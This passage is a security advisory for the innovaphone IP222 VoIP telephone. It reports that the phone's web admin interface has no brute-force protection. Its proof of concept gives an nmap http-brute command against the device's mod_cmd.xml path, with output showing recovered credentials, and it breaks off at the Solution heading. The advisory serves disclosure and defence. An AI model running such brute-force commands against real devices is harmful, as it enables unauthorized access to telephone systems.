~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

The innovaphone IP222 is a Voice over IP telephone solution, which
provides many communication functionalities, for instance, announcement
function, password protected administration via web browser (HTTPS),
multiple registration up to six users at the same time and many other
features.

The manufacturer innovaphone AG describes the product as follows
(see [1]):

"The IP222 telephone unites a very modern design with groundbreaking
technological details. It belongs to the innovaphone product family that
won the popular 'red dot award: product design'."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The innovaphone IP222 provides a password protected administration
interface, which can be accessed via a web browser. Although the basic
authentication was disabled and instead the digest authentication is
used, it is still possible to perform brute-force attacks against the
password authentication process.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The innovaphone IP222 provides a password protected administration
interface, which could be accessed via a web browser, but possesses no
countermeasures against brute-force attacks. Therefore, it is possible
to perform brute-force attacks with common tools like Nmap or Hydra:

nmap -p80 --min-rate=200 --script http-brute --script-args http-brute.
path="CMD0/mod_cmd.xml" 192.168.5.23 -d

(...)

Overall sending rates: 1042.75 packets / s.
NSE: Script scanning 192.168.5.23.
NSE: Starting runlevel 1 (of 1) scan.
NSE: Starting http-brute against 192.168.5.23:80.
Initiating NSE at 16:24
NSE: Discovered account: test:test - Valid credentials

Due to the current configuration settings, the sending rate for a web
based brute-force attack is almost 1042.75 packets per second.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

According to information by the innovaphone AG, the described security
issue has been addressed by the following workaround:
